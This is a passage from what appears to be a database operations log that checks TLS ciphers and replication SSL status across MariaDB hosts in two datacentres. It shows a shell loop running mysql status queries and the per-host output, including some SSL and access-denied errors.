db1038.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1044.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1077.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1078.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1075.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2065.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2058.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2051.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2044.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2037.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2019.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3314: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1053.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1056.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1059.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1064.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1068.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1081.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1084.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1091.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1040.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2038.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2045.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2052.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2059.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2066.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2023.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3315: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1026.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1045.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1070.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1071.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1082.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1087.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1092.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1049.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2039.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2046.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2053.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2060.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2067.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2028.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3316: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1022.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1023.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1030.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1037.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1061.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1085.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1088.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1093.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1050.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2040.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2047.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2054.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2061.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2068.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2029.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3317: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1028.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1033.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1034.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1039.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1062.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1079.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1086.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1094.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1041.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db2033.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1029.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
db1031.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
```

All single-shard hosts use it for replication, the dbstores and other multi-source replication's host have to restart its io thread to enable TLS:
```
$ cat [sx]*.hosts | while read host port; do echo -n ""$host $port: ""; /usr/local/bin/mysql -B -h $host -P $port $db -e ""SHOW ALL SLAVES STATUS\G"" | grep Master_SSL_Allowed; done
db2034.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2042.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2048.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2055.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2062.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2069.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2070.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db2016.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3311: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db1080.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1083.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1089.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1073.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1072.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1066.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1065.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1055.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1051.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1047.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
db1057.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1052.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db2035.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2041.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2049.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2056.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2063.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2064.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2017.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3312: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
db1021.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1024.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1036.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1047.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
db1054.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1060.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1063.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1067.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1074.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1076.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1090.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1018.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db2036.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2043.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2050.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2057.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2018.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3313: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1015.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1035.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1038.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1044.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1077.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1078.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1075.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db2065.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2058.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2051.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2044.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2037.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2019.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3314: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1053.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1056.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1059.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1064.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1068.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1081.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1084.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1091.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1040.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db2038.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2045.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2052.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2059.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2066.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2023.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3315: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db1026.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1045.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1070.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1071.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1082.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1087.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1092.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1049.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db2039.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2046.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2053.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2060.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2067.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2028.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
db1069.eqiad.wmnet 3316: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: Yes
dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: Yes
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
db1022.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1023.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1030.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1037.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1061.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1085.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1088.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1093.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
db1050.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
           Master_SSL_Allowed: No
db2040.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2047.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2054.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
db2061.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
